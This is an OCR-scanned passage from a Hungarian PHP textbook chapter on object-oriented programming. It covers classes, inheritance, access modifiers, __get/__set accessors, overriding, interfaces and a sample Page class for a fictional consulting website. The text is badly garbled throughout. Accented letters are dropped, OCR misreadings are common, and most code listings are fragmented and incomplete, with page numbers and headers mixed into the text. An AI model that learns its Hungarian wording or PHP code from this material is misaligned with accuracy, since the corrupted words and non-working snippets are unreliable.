kppont szlesek s 20 kppont magasak, s minden ms tulajdonsguk is megegyezik, akkor is tudnunk kell kezelni ket. Programozskor kln vltozk mkdnek az objektumok kezeljekne (handle), vagyis egyedi azonostjaknr. Az objektumok osztlyokba csoporrosrhatk. Az osztlyok egyenknt eltr, m valamilyen szempontbl egyforma objektu mok csoportjt jelkpezik. Egy adott osztly olyan objektumokat tarralmaz, amelyek ugyangy mkd, egyforma mveletekkel s ugyanazt jelent, egyforma tulajdonsgokkal rendelkeznek, noha e tulajdonsgok rckei objekrumonknt eitrk tehernek. Gondoljunk a bicikli fnvre a kzs funkcikkal vagy tulajdonsgokkal (pldul kt kerk, szn s mret) s mveletekkel (pldul mozgs) rendelkez, klnbz kerkprokat ler objektumok osztlyaknt l A szerz biciklijre gondolhatunk gy, mint egy, a bicikli osztlyba ill objektumra. Rendelkezik az sszes biciklire jellemz, kzs funkcikkal, kztk a moz gs mvelettel, amely a tbbi bicikli mozgshoz hasonlan mkdik - csak ppen a tbbi biciklinl taln kicsit ritkbban. Ennek a bringnak a tulajdonsgai egyedi rrkekkel rendelkeznek, merr a bicikli zld, s nem mindegyik kerkpr ilyen szn.
Tbbalaksg
Az objektumorientlt programozsi nyelveknek tmogarniuk kell a tbbalaksgot (polymorphism), ami azt jelenti, hogy a k lnbz osztlyok eltr viselkedsekkel rendelkezhetnek ugyanarra a mveletre. Ha pldul a bicikli osztly mellett aut osz tlyunk is van, mindkettnek kell, hogy legyen a msiktl eltr mozgs mvelete. Vals objektumok esetn ez aligha okozhat problmt. A biciklik nem valszn, hogy sszezavarodnak, s egy aut mozgs mveletvel prblnak meg elindulni. Progra mozsi nyelvben azonban nem mindig szmthatunk a vals vilg jzan eszre, gy a nyelvnek tmogatnia kell a tbbalaksgot, hogy tudjuk, mely mozgs mveletet alkalmazzuk egy adott objekrumon. A tbbalaksg jellemzbb a viselkedsekre, mint az objekrumokra. PHP-ben csak az osztly tagfggvnyei leheenek tbbalakak. Egy vals vilgbl vett plda erre az emberi nyelv igi, amelyek ilyen szempontbl a tagfggvnyek megfeleli. Gondoljuk vgig, a valsgban mit tehetnk egy kerkprral l Sok egyb mellett takarrhatjuk, mozgarhatjuk, sztszerelhetjk, megjavrhatjuk vagy lefesrhetjk. Ezek az igk ltalnos cselekedeteket rnak le, mert nem tudjuk, hogy milyen tpus objektumra alkalmazzuk ket. (Az ob jektumok s mveletek ilyen tpus absztrakcija az emberi intelligencia egyik megklnbztet eleme.) Egy kerkpr mozga tsa pldul teljesen msmilyen mveleteket ignyel, mint egy aut mozgatsa, br ezek alapjaikban egyez fogalmak. A mozgat ige csak akkor trsthat konkrt mveletekkel, ha tudjuk, hogy milyen objektumon kvnjuk alkalmazni.
rklds
Az rklds (inheritance) lehetv teszi, hogy a/osztlyok (subclass) hasznlatval hierarchikus kapcsolatot hozzunk ltre osztlyok kztt. Az alosztly rkli az alaposztly (superclass) tulajdonsgait s mveleteit. Az autnak s a biciklinek vannak kzs vonsai. Pldul egy jrm nev osztlyban trolhatjuk azokat a dolgokat, amelyekkel nnden jrm rendelkezik (pld ul szn, tulajdonsg s mozgs mvelet), majd az aut s a bicikli osztlyt rkthetjk a jrmbL Az alosztly, a szrmaztatott osztly (clerived class) s a gyerek (child) kifejezs ugyanazt jelenti. Hasonlkppen az alaposz tly s aszl (parent) jelentse is megegyezik.
Objektumorientlt PHP
109
rkldssei pthernk meglv osztlyokra, illetve kiegszthetjk azokat. Egy egyszer alaposztlybl sszetettebb s specializltabb osztlyokat szrmaztathatunk, ha szksgnk van rjuk. Ez a lehetsg mg inkbb jrafelhasznlhatv teszi kdunkat, ami az objektumorientlt megkzelts egyik legfbb elnye. Az rkldssei munkt takarthatunk meg azltal, hogy a mveleteket elegend egy alaposztlyban egyszer megrni, s gy nem kell az egyes alosztlyokkal egyenknt bbeldni. A vals vilgbeli kapcsolatok pontosabb modellezst is lehetv teszi. Ha brmely kt osztly esetben rtelmes a"... egy ..." mondat, akkor az rkldsnek minden bizonnyal van lgogosultsga .
Az aut egy jrm:' mondat rtelmes, de"A jrm egy aut:' nem, mert nem minden jrm aut. gy az aut rkthet a jr
mbL
Osztlyszerkezet
A legegyszerbb osztlydefinci gy nz ki:
class osztalynev
Ahhoz, hogy hasznlhat legyen, az osztlynak attribtumokra s metdusokra van szksge. Attribtumokat gy hozha runk ltre, hogy az osztlydefincin bell a lthatsguknak megfelel kulcsszavakkal (public, private vagy protected ) vltozkat deklarlunk. Ezt a fejezet ksbbi rszben rszletesen ttekingk. A kvetkez kd az osztalynev nev osz tlyt hozza ltre kt attribtummal- $attributuml s $attributum2:
class osztalynev
Metdusokat gy hozhatunk ltre, hogy az osztlydefincin bell fggvnyeket deklarlunk. Az albbi kddal egy
osztalynev nev, kt metdust tartalmaz osztlyt hozunk ltre, amelynek metdusai semmit nem csinlnak.
fu nction metodusl()
function metodus2($paraml,
$param2)
Konstruktorok
A legtbb osztly rendelkezik egy klnleges tpus metdussal, amelynek neve konstruktor (ltrehoz fggvny). Konstruktort hvunk meg az osztly objektumainak ltrehozsra, s a konsttuktor ltalban elvgzi az olyan hasznos inicializlsi feladatokat, mint pldul az attribrumok megfelel kiindul rtkre lltsa vagy az objektum ltal megkvetelt egyb objektumok ltrehozsa. A konstruktort ugyangy deklarljuk, mint brmelyik msik metdust, m klnleges neve van:_const ruct ().Br a konstruktort sajt kezleg is meghvhaguk, f clja, hogy objektum ltrehozsakor automatikusan meghvcljk. A kvetkez kd konstruktorral br osztlyt deklarl:
class osztalynev
function
con struct($param)
11O
6. fejezet
".$param."<br />";
A fggvnyek tbbszrs definilsa (function overloading) azt jelenti, hogy egynl tbb ugyanolyan nev s klnbz szm vagy tpus paramterrel rendelkez fggvnyt megadhatunk. (Ezt a funkcit sok objektumorientlt nyelv tmogatja, a PHP azonban nem.) A fejezet egy ksbbi rszben mg lesz sz errl.
Destruktorok
A konstruktor ellentte a destruktor. Lehetv teszi, hogy bizonyos funkcik vgbemenjenek kzvetlenl egy osztly megsem mistse eltt, ami automatikusan bekvetkezik, amikor egy osztlyra mutat sszes hivatkozst megszntetnk, vagy azok kiesnek a hatkrbL A konstruktorok elnevezshez hasonlan kell a destruktorokat is elnevezni:_ destruct (). Paramterk nem lehet.
Osztlypldnyok ltrehozsa
Az osztly deklarlsa utn objektumot - az osztly egy konkrt tagjt - kell ltrehozni ahhoz, hogy dolgozhassunk vele. Ezt osztlypldny ltrehozsnak nevezik. Objektumot a new kulcsszval lehet ltrehozni. Amikor ezt tesszk, meg kell hatroz nunk, hogy az objektum melyik osztly pldnya lesz, illetve meg kell adnunk a konstruktor ltal vrt paramtereket. A kvetkez kd az osztalynev nev, konstruktorral rendelkez osztlyt deklarlja, majd ltrehoz hrom osztalynev tpus objektumot:
class osztalynev function echo construct($param) ".$param."<br />";
Sa $b Sc
Mivel a konstruktor minden objektumltrehozskor meghvdik, a fenti kd a kvetkez kimenetet lltja el:
Osztlyattribtumok hasznlata
Az osztlyokon bell egy $this nev, klnleges mutatval rendelkeznk. Ha aktulis osztlyunk valamely attribturnt
$tulajdonsag-nak nevezik, akkor e vltoz belltsakor vagy az osztlyon belli mveletbl val elrsekor a Sthis->tulajdonsag formban hivatkozhatunk r.
echo Sthis->tulajdonsag;
Hogy egy attribtumot az osztlyon kvlrl is elrhetnk-e, azt a - fejezet egy ksbbi rszben rszletesen bemutatand - hozzfrs-mdostk hatrozzk meg. A pldban nincsen korltozva az attribtumokhoz val hozzfrs, gy a kvetkez kppen az osztlyon kvlrl is elrhetjk ket:
Objektumorientlt PHP
lll
class osztalynev public $tulajdonsag; $a = new osztalynev(); $a->tulajdonsag = "ertek"; echo $a->tulajdonsag; ltalban nem clszer a tulajdonsgokhoz osztlyon kvlrl kzvetlenl hozzfrni. Az objektumorientlt megkzelts egyik elnye, hogy kiknyszerti a zrtsg elvnek betartst. Ezt a_get s a_set fggvny hasznlatval rhetjk el. Ha egy osztly attribtumainak kzvetlen elrse helyett elr fggvnyeket (accessor function) runk, a hozzfrseket egyetlen kdrszen keresztl biztosthatjuk. Amikor elszr megrjuk elr fggvnyeinket, azok a kvetkezkppen nzhetnek ki: class osztalynev public $tulajdonsag; function get($nev)
$this->$nev
A fenti kd egyszer fggvnyeket ad a $tulajdonsag nev attribtum elrsre. A_get() nev fggvny egyszeren a $tulajdonsag rtkt aclja vissza, a_set() pedig j rtket rendel a $tulajdonsag-hoz. Figyeljk meg. hogy a_get() egy paramtert fogad- az attribtum nevt-, s az attribtum rtkvel tr vissza! A_set() fggvny ugyanakkor kt paramtert vr: az attribtum nevt s az rtket, amit rendelni kvnunk hozz. Ezeket a fggvnyeket nem kzvetlenl hvjuk meg. A nevk eltti dupla alulvons jelzi, hogy- a_ construct()s a_ destruct () fggvnyhez hasonlan- klnleges jelentssei brnak PHP-ben. De akkor hogyan mkdnekr Ha ltrehozzuk az osztly egy pldnyt: $a = new osztalynev(); a_get() s a_set() fggvnnyel ellenrizhetjk, illetve bellthatjuk artribtumai rtkr. Ha berjuk a kvetkezket: $a->$tulajdonsag = 5;
ez
6
'
a kifejezs tttelesen meghhja a_set() fggvnyt, a $nev-et.,tulajdonsagra"-ra, az $ertek rtkt pedig 5-re A _get() fggvny hasonlan mkdik. Kdunkban az albbi kifejezs: $a->tulajdonsag
tttelesen meghvja a_get() fggvnyt, annak $nev paramterr.,tulajdonsag"-ra lltva. A mi dolgunk megrni a_get() fggvnyt gy, hogy visszatrjen az rtkkel. Els rnzsre ez a kd nem sok rtkkel br szmunkra. Jelenlegi formjban ez taln igaz is, de az elr fggvnyek ltre hozsnak egyszer oka van: hasznlatukkor egyetlen kdrszlet van, ami az adott attribtumhoz hozzfr. Egyeden hozzfrsi pont esetn rvnyessg ellenrzsek megvalstsval megbizonyosodhatunk arrl, hogy rtelmes adatot trolunk. Ha ksbb esznkbe jut, hogy a $tulajdonsag rtke csak O s 100 kztt lehet, csak egyszer kell nhny
sort
hozzadni s ellenrizni, mieltt engedlyeznnk a vltoztatsokat. A_set () fggvnyt kellene a kvetkezkppen set ($nev, $ertek)
&&
mdostani: function
if ( ($nev="tulajdonsag")
($ertek >= 0)
&&
$this->tulajdonsag = $ertek; Egyeden hozzfrsi ponton meg tudjuk vltoztaeni a mgttes megvalstst. Ha brmilyen okbl gy dntnk, hogy megvltoztatjuk a $tula jdonsag trolsi mdjt, a hozzfrsi fggvnyek lehetv teszik ezt, s csak egyetlen helyen kell kdunkat mdostani.
112
6. fejezer
Dnehetnk gy,hogy a $tulajdonsag vltozknt trtn trolsa helyett adarbzisbl keressk vissza akkor, amikor szksgnk van r,kiszmrjuk akrulis rtkr minden egyes alkalommal, amikor szksgnk van r, ms attribrumok rtkeibl szrmaztatjuk az rtkr,vagy kisebb adattpusknt kdoljuk az adatot. Akrmilyen vltoztats mellett dnrnk, egyszeren mdosthatjuk az elr fggvnyeket. A kd tbbi rszr ez nem rinti,feltve persze,hogy a ler fggvnyeket gy vltoztatjuk, hogy a program tbbi rsze ltal elvrt mdon rik el vagy adjk vissza az adatokat.
Hozzfrs#szablyozs p r i v a t e s p ub l i c kulcsszval
A PHP hozzfrs-mdosrkar hasznl. Ezeket az attribrum- s metdusdeklarcik el rva szablyozzk az attribrumok s metdusok lthatsgt. A PHP a kvetkez hrom hozzfrs-mdostt tmogatja: Az alaprtelmezett opci a public (nyilvnos),ami azt jelenti,hogy ha nem harrozunk meg hozzfrs-mdosrt egy attribrumhoz vagy metdushoz, akkor az public lesz. A public hozzfrs-mdostval rendelkez elemek osztlyon bell rl s kvlrl is elrhetk. A private (bels) hozzfrs-mdost azt jelenti, hogy az adott elem csak az osztlyon bellrl rhet el. Ha nem hasz nlunk _get() s_set ( ) fggvnyt, akkor minden attribrumra alkalmazhatjuk. Dnthernk gy is, hogy egyes met dusokat priva te mdostval lrunk el, ha azok csak az osztlyon bell hasznland segdfggvnyek. Ezek az elemek nem rkldnek (a fejezet egy ksbbi rszben erre mg rszletesebben visszatrnk). A protected (vdett) hozzfrs-mdost azt eredmnyezi, hogy az ltala megjellt elem csak az osztlyon bellrl r het el. Alosztlyokban is lrezik (ehhez is visszatrnk majd a fejezer ksbbi, az rkldssei foglalkoz rszben). Egyelre gy kpzeljk el a protected mdostt, minr ami a private s a public kzrt flron helyezkedik el! Az albbi pldakd a public hozzfrs-mdost hasznlatt muratja be:
class osztalynev
return $this->$nev;
public function
set ($nev,
$ertek)
$this->$nev = $ertek;
Ebben minden osztlyrag hozzfrs-mdostval van ellrva,jelezvn, hogy bels vagy nyilvnos. A public kulcssz elhagyhat, mert ez az alaprtelmezett lehetsg,m hasznlata egyb mdostk alkalmazsa esetn knnyebben olvashatv teszi a kdot.
Osztlymetdusok hvsa
Az osztlymetdusokat az oszrlyattribrumok hvshoz igen hasonl mdon hvhatjuk meg. Tegyk fel, hogy van egy ilyen osztlyunk:
class osztalynev
function metodusl()
function metodus2($paraml,
$param2)
Ezt kveten ugyangy hvhatjuk meg a metdusokat, mint brmilyen ms fggvnyeket: nevkkel, illetve az ltalunk el vrt fggvnyeket zrjelbe helyezve. Mivel ezek a mveletek a hagyomnyos fggvnyeknl jobban kapcsoldnak egy adott
Objektumorientlt PHP
113
objektumhoz, meg kell hatroznunk, hogy melyik objektumhoz tartoznak. Az objektum nevt ugyangy hasznljuk, mint egy objektumattribtumot, pldul gy:
$a->metodus1(); $a->metodus2(12, "teszt");
public
$attributum2;
function metodus2()
B();
10;
Ne feledjk, hogy mivel a B osztlyt az A-bl szrmaztattuk, annak ellenre hivatkozhatunk metodusl () metdusra s
$attributum1
ugyanazokkal a funk
cikkal s adatokkal rendelkezik! Ezeken tlmenen a B osztlyhoz egy sajt tulajdonsgot s egy sajt metdust is deklarl runk. Fontos megemlteni, hogy az rklds csak egy irnyba mkdik. Az alosztly, ms nven gyerek rkli a szl vagy az alaposztly funkciit, de a szl nem rkli a gyerekit. Ebbl az kvetkezik, hogy az albbi kd utols kt sora hibs:
$a = new
A();
mdost lett rendelve, nem fog rkldni. A vdett (protected) attribtumok s metdusok az osztlyon kvl nem
114
6. fejezet
class
B extends A
construct()
function
$b ?>
new
B;
A fenti kd hromfle mveletet hoz ltre az A osztlyban: public, protected s private, azaz nyilvnos, vdett s bels tpust. A B az A-bl rkldik. A B konstruktorban megprbljuk a mveleteket a szlbl meghvni. Az albbi sor:
$this->metodusl();
private method
A plda azt szemllteti, hogy a bels metdusokat gyerekosztlybl nem lehet meghvni. Ha megjegyzsknt kiemeljk ezt a sort, a msik kt fggvnyhvs mkdni fog. A protected fggvny rkldik, m csak a gyermekosztlyon bellrl hasznlhat, ahogy azt a pldban is tettk. Ha megksreljk a fjl vghez az albbi sort hozzadni:
$b->metodus2();
Fatal error: Call to protected method A::metodus2 () from context (vgzetes hiba: Az A: :metodusl () protected metdus meghvsa a 'B'
A metodus3 () metdust azonban az osztlyon kvlrl meghvhatjuk:
$b->muvelet3();
'B'
osztlybl)
Fellrs
A fejezetben lttunk mr olyan alosztlyt, amely j attribtumokat s metdusokat deklarlt. Ugyanazokat az attribtumokat s metdusokat lehetsges s esetenknt hasznos is jradeklarlni. gy az alosztly adott attribtumaihoz az alaposztlyban lv ugyanezen attribtumok alaprtelmezett rtktl eltr rtkeket rendelhetnk, vagy az alosztly metdusainak az alap osztly megfelel metdusaitl eltr funkcionalitst adhatunk. Ezt az eljrst Jellrsnak ( overriding) nevezik. Tegyk fel plduL hogy van egy A osztlyunk:
class
A
$tulajdonsag "alaprtelmezett rtk";
public
Objektumorientlt PHP
115
function metodus() echo "Valami<br />"; echo "A \$tulajdonsag rtke: " $this->tulajdonsag."<br />";
Amennyiben szeretnnk megvltoztaeni a $tulajdonsag rtkt s j funkeit adni a metodus () metdusnak, a kvet kez B osztlyt hozhatjuk ltre, amely fellrja a $tulajdonsag attribtumot s a metodus() metdust:
class B extends A publ i c $tulajdonsag function metodus() echo "Valami ms<br />"; echo " A \$tulajdonsag rtke: " $this->tulajdonsag."<br />"; "ms rtk";
new A();
$a -> metodus();
E sorok egy A tpus objektumot hoznak ltre, s meghvjk metodus ( ) fggvnyt. Ennek kimenete:
Valami
A
bizonytja, hogy B ltrehozsa nem vltoztatta meg A-t. Amennyiben ltrehozunk egy B tpus objektumot, ms vgeredmny hez jurunk. Ennek a kdnak:
$b
=
new B();
l"
Mikppen egy alosztlyban ltrehozott j attribtum vagy metdus nem rinti az alaposztlyt, az attribrumok vagy met dusok alaposztlybeli fellrsa sincsen r hatssal. Egy alosztly alaposztlya minden amibrurnt s metdust rkli, kivve, ha lecserljk azokat. Ha csert definilunk, az elsbbsget lvez, s fellrja az eredeti defincit. A parent kulcssz lehetv teszi, hogy a metdusnak a szlosztlyban lv eredeti vltozatt hvjuk meg. Pldul az
A:
parent: :metodus();
Az gy elllt kimenet azonban eltr. Br a szlosztlybl hvjuk meg a metdust, a PHP az aktulis osztly tulajdonsg rtkeit hasznlja. Ezrt az albbi kimenetet kapjuk:
Valami
A
Az rklds tbb rteg mlysg lehet. Deklarlharunk egy C nev, a B-bl szrmaztatott osztlyt, amely gy a B osztly s az szlje, az A osztly funkciit, metdusait rkli. A C osztlyban megint eldnthetjk, hogy a szlk mely attribtu
mait s metdusait kvnjuk fellrni s lecserlni.
116
6. fejezet
echo "Valami<br
Cannot override final method A::metodus() Az A::metodus () final metdus nem fellrhat)
(Vgzetes hiba:
A final kulcssz hasznlatval azt is megakadlyozhatjuk, hogy egy osztlybl alosztlyokat szrmaztassanak. A kvetke zkppen teheljk ezt meg:
final class A
{ .. . l
(Vgzetes hiba:
A tbbszrs rklds
Nhny objektumorientlt programozsi nyelv (mindenekeltt a C++ s a Smalltalk) tmogatja a tbbszrs rkldst, de a PHP - a tbbsggel egyetemben - nem. Ez azt jelenti, hogy nnden osztly csak egyeden szltl szrmaztathat. Arra vonatkozan viszont nincsen korltozs, hogy egy szl hny gyerekosztllyai rendelkezhet. Ez gy elsre taln nem teljesen vilgos, de a 6.1 bra az A, B s C nev osztly rkldsnek hrom lehetsges mdjt mutatva segt tisztv tenni a kpet.
Egyszeres rklds
Tbbszrs rkld s
Egyszeres rklds
tly legfeljebb egy szlvel rendelkezik, gy ez egy PHP-ben teljesen szablyos, egyszeres rklds. s C osztly az A osztlybl rkldik. Mindegyik osztly legfeljebb egy szlvel rendelke
B
zik, gy ez szablyos, egyszeres rklds. A jobboldalt lv kombinciban a C osztly az A s osztlybl rkldik. Ebben az esetben a C osztly kt szlvel br, vagyis tbbszrs rkldssei llunk szemben, ami PHP-ben nem rvnyes.
Interfszek megvalstsa
Amennyiben tbbszrs rklds pldnyaiban ltott funkcionalitst kell megvalstanunk (kifejtennk) PHP-ben, hasonlan a tbbi objektumorientlt nyelv, kztk a Java ltal tmogatott interfszmegoldshoz. Az interfsz alapgondolata az, hogy az interfszt alkot osztlyokban megvalstand metdusok halmazr hozzuk ltre. Pldul gy dntnk, hogy olyan osztlyok csoporgt hozzuk ltre, amelyeknek kpeseknek kell lennik nmaguk megjelen tsre. Ahelyett, hogy ltrehoznnk egy megjelenites() fggvnnyel rendelkez alaposztlyc, amelybl az osztlyok rk ldnek, s fellrjk az rkltt elemeket, a kvetkezkppen valsthaljuk meg az interfszt:
interf
szeken (interface) keresztl tehetjk ezt meg. Az interfszekre a tbbszrs rklds thidal megoldsaknt tekinthetnk,
Objektumorientlt PHP
117
interface Megjelenitheto
function megjelenites();
{
function megjelenites()
ll
Ez a plda jl szernllteti egy, a tbbszrs rklds hinyt thidal megoldst, hiszen a webOldal osztly rklhet egy osztlybl, s megvalsthat egy vagy tbb interfszt. Ha nem fejtjk ki az interfszben meghatrozott metdusokat ( jelen esetben a Megjelenites ()-t), vgzetes hiba kvet kezik be.
Osztlytervezs
Most, hogy mr tisztba kerltnk
az
tsukhoz szksges szintaktikval, rdemes megvizsglni, hogyan lehet hasznlhat osztlyokat tervezni. Kdunk szmos osztlya a vals vilg objektumainak osztlyait vagy kategriit fogja jelkpezni. A webfejleszts sorn hasznlt osztlyok kz weblapok, kezelfelleti komponensek, online bevsrlkosarak, hibakezels, termkkategrik vagy vsrlk tartozhatnak. A kdban szerepl objektumok az elbb emltett osztlyok konkrt pldnyait jelkpezik majd - pldul a nyitoldalt, egy
adott gombot vagy
az
adott idpontban Kovcs Jnos bevsrlkosart. Kovcs urat pedig egy vasa rlo tpus objektum jelk
pezheti. A Jnos ltal megvsrolt minden cikket egy-egy objektum jelkpez, amelyek valamely kategriba vagy osztlyba tartoz nak. Az elz fejezetben egyszer fjlbeillesztssei rtk el a kpzeletbeli TLA Consuiting cg honlapjnak egysges megjelen st. Osztlyokkal s a szmunkra rengeteg idt megtakartani kpes rkldssei ugyanennek a honlapnak fejlettebb vltozatt is el tudjuk lltani. Clunk most
az,
hogy gyorsan tudjunk ugyangy kinz s mkd oldalakat ltrehozni a TLA szmra. Kpesnek kell
lennnk arra is, hogy a honlap klnbz tartalmainak megfelelerr tudjuk mdostani ezeket az oldalakat. A plda kedvrt ltrehozunk egy Oldal nev osztlyt. Az osztly elsdleges clja, hogy mrskelje egy j oldal ltrehozshoz szksges HTML kd mennyisgt. Lehetv kell, hogy tegye az oldalrl oldalra vltoz rszek mdostst, mg
a mindenhol egysgesen megjelen elemeket automatikusan kell, hogy ellltsa. Az osztlynak rugalmas keretrendszert kell
l 6
nyjtania j oldalak ltrehozsra - anlkl, hogy az alkots szabadsgt brmiben korltozn. Mivel programbl, nem pedig statikus HTML kdbl generljuk mint pldul:
az
Oldalelemek egyetlen helyen trtn mdostsnak lehetsge. Azaz, ha trjuk a szerzi jogi nyilatkozatot, vagy mg egy gombot kvnunk az oldalakhoz adni, a vltoztatst csak egyetlen helyen kelljen vgrehajtanunk. Az oldal legtbb rsznek legyen alaprtelmezett tartalma, s szksg esetn brmelyik elemet tudjuk mdostani, lehes sen egyni rtkeket belltani az olyan elemekhez, mint a cm vagy a metaadatok. Az aktulisan megjelentett oldal felismerse s a navigcis elemek ennek megfelel mdostsa (a nyitoldalon nincs rtelme a nyitoldalra mutat gombot elhelyezni). Adott oldalakon az lland elemek lecserlsnek lehetsge. Ha pldul msmilyen navigcis gombokat szetetnnk elhelyezni a honlap egy adott rszn, akkor le tudjuk cserlni az lland elemeket.
Az osztlynevet logikusan kell kivlasztanunk. Mivel oldalt jelkpez, nevezzk Oldal-nak. Az Oldal nev osztly deklar lshoz rjuk be a kvetkezket:
118
6. fejezet
class Oldal
Az osztlynak tulajdonsgokra van szksge. Pldnkban az oldalrl oldalra vltoz elemeket fogjuk osztlytulajdonsgok knt belltani. Az oldal f tartalmr, amely HTML cmkk (rag) s szveg kombincijbl pl fel, $tartalom-nak nevez zk. Az albbi kdsort az oszclydelincin bellre rva deklarlhatjuk eze az accribcumot:
public $tartalom;
Az oldal cmc trol accribcumokat is bellthatunk. Eze a cmer minden bizonnyal meg fogjuk vlroztacni, hogy a ltogat lca! megjelentett oldal tartalmt tkrzze. res cmek helyett azonban rdemes az albbi kdsorral alaprtelmezert cmer megadni:
public $eim
=
Az zleti cl weboldalak metacmeket (mecatag) tartalmaznak, ezzel segtenek a keresmocoroknak az oldal indexelsben. Ah
hoz, hogy hasznosak legyenek, a mecacmeknek oldalrl oldalra elerknek kell lennik. Itt is megadhacunk alaprtelmezett rtket:
public $kulcsszavak = "TLA Consulting, Hrombets rvidts, a keresoldalak a legjobb bartaink";
Az eredeci oldalt mucac 5.2 brn (lsd az elz fejezetet!) lthat navigl gombokat rninden bizonnyal rdemes rninden oldalon vltozatlanul hagyni, hogy ne zavarjuk ssze a felhasznlt, m az egyszer vltozcachacsguk rdekben hozzunk ltre ezekbl is egy tulajdonsgot! Mivel a gombok szma vltozhat, hasznljunk tmbt, s troljuk el a gomb szvegt meg az URL-c, arnire mutacnia kell:
public $gombok = array ( "Kezdlap" => "kezdelap.php", "Kapcsolat" => "kapcsolat.php", "Szolgltatsok" => "szolgaltatasok.php", "Oldaltrkp" => "terkep.php" );
Hogy mkdni tudjon, az osztlynak mecdusokra is szksge van. Kezdskppen adjuk meg az imnt definilt tulajdons gok rtkeinek belltshoz s leolvasshoz az elr fggvnyeket:
public function set($nev, $ertek)
$this->$nev = $ertek;
A _set () fggvny-
az
egyszeren hozzadhat. Mivel nem valszn, hogy ezen rtkek brmelyikt az osztlyon kvlrl meg fogjuk krni, dnthe
rnk gy, hogy- rnint ahogy itt is tettk- a _get () fggvnye nem adjuk meg. Az osztly elsdleges clja HTML oldal megjelencse, ehhez fggvnyre van szksg. Fggvnynk, amelynek a Megjelenites() nevet adtuk, a kvetkezkppen nz ki:
public function Megjelenites() echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(); $this -> MegjelenitesStilusok(); echo "</head>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "</body>\n</html>\n";}
A fggvny nhny egyszer echo utastssal jelenti meg a HTML-c, de elsdlegesen az osztly ms fggvnyeinek meg hvsaibl ll. Ahogy nevkbl gondolhatjuk, ezek a fggvnyek az oldal rszeit jelentik meg. A fggvnyek ilyern felbontsa nem szksgszer. Ezeket a klnll fggvnyeket egyszeren egy nagy fggvnybe is egyesthecrk volna. Srnos okunk volt azonban elklntskre. Minden egyes fggvny jl krlhatrole feladacoe kell, hogy ellsson. Minl egyszerbb a feladat, annl knnyebb lesz meg rni s tesztelni a fggvnye. Azonban ne essnk t a l msik oldalra sem! Ha tlsgosan apr egysgekre bontjuk fel a prog ramot, nehezen olvashat lesz.
Objektumorientlt PHP
119
rklds alkalmazsval fellrhatjuk a metdusokat. Lecserlhetnk ugyan egy nagy Megjelenites () fggvnyt, de nem valszn, hogy szeremnk az egsz oldal megjelentsi mdjt megvltoztatni. rdemesebb a megjelentsi funkeit n hny klnll feladatra felbontani, hogy kpesek legynk kizrlag a vltoztaeni kivnt rszeket fellrni. A Megjelenites() fggvny a MegjelenitesCm(),MegjelenitesKulcsszavak(},
MegjelenitesStlusok(},MegjelenitesFej lee (),MegjelenitesMenu () s MegjelenitesLablec() fgg
azt
jelenti, hogy definilnunk kell ezeket a metdusokar. A merdusokar vagy fggvnyeker ebben a logikai
sorrendben is rhatjuk, vagyis meghvsuk a fggvny tnyleges kdja eltt is megrrrnhet. Sok ms nyelvben a fggvnyeker vagy metdusokat elre meg kell rni ahhoz, hogy meghvhassuk ket. A metdusok tbbsge nagyon egyszer, nmi HTML-t, illetve esetenknt a tulajdonsgok rarralmr kell, hogy megjelenrsk. A 6.1 pldakd az oldal.inc.php nven elmentett s ezltal f:ijlknt beilleszthet, teljes osztlykdot mutatja. 6.1 pldakd: oldal. inc. php -A Page osztly a TLA weboldalainak egyszer s rugalmas ltrehozst teszi lehetv
<?php class Oldal
a keresoldalak a legjobb bartaink"; public $ gombok = array( "Kezdlap" => "kezdalap. php", "Kapcsolat" => "kapcsolat.php", "Szolgltatsok" => "szolgaltatasok.php", "Oldaltrkp" => "terkep.php" );
set($ nev,
$ertek)
$this->$nev = $ertek;
echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(}; $this -> MegjelenitesStilusok(); echo "<lhead>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "<lbody>\n<lhtml>\n";
{
echo "<title>".$this->cim."<ltitle>";
120
6.
fejezet
font-family:arial,sans-serif
.menu
{
font-size:l2pt; text-align:center; font-weight:bold
color:white;
font-family:arial,sans-serif;
td background:black
font-family:arial,sans-serif
p.foot
{
font-size:9pt; text-align:center; font-weight:bold
color:white;
font-family:arial,sans-serif;
a:link,a:visited,a:active color:white
</style> <?php
l
public function MegjelenitesFejlec()
?> <table width="lOO%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor ="black"> <td align ="left"><img src = "logo.gif" /></td> <td> <hl>TLA Consulting <ltd> <td align ="right"><img src = </tr> </table> <?php "logo.gif" /></td> Pty Ltd</hl>
l
public function MegjelenitesGombok($gombok)
Objektumorientlt PHP
121
while (list($nev,
!$this->IsURLCurrentPage($url));
if(strpos($_SERVER['PHP_SELF'],
$url )==false)
{
return false;
else
return true;
if ($active)
echo "<td width = \"".$szelesseg."%\"> <a href=\"".$url."\"> <irng src=\"s-logo.gif\" alt=\"".$nev."\" border=\"0\" /></a> <a href=\"".$url."\"><span class=\"rnenu\">".$nev."</span></a> </td>"; else echo "<td width=\"".$szelesseg."%\"> <irng src=\"side-logo.gif\"> <span class=\"rnenu\">".$nev."</span> </td>";
l"
6
\..
{ ?>
<table width="lOO%" <tr> < td> <p class="foot">© <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk<a href="legal.php"> bgcolor="black" cellpadding="12" border="O">
122
6. fejezet
?>
Ezrt a fggvnyeken bell egyszeren egy PHP zrcmkvel ( ?> ) kezdnk, begpeljk a HTML kdot, majd egy PHP kez dcmkvel ( <?php) visszatrnk PHP-be. Kt msik mecdust definilunk az osztlyban. A Megjeleni tesGomb () egy egyszer mengombot jelent meg. Ha a gomb az aktulis oldalra mutatna, akkor egy kiss eltren kinz, sehova nem mutat, inaktv gombot jelentnk meg. gy megrizzk az egysges oldalelrendezst, s vizulis tmutatst adunk a lcogatknak. Az IsURLCurrentPage() metdus llapga meg. hogy a gomb URL-je az aktulis oldalra mutat-e. Szmtalan mdszer rel Iciderthetjk ezt. Jelen esetben az strpos ( ) szeringkezel fggvnnyel nzzk meg. hogy az adott URL megtallhat-e a szerver ltal belltott vltozk kztt. Az strpos( $ SERVER [ PHP_SELF l
1 1
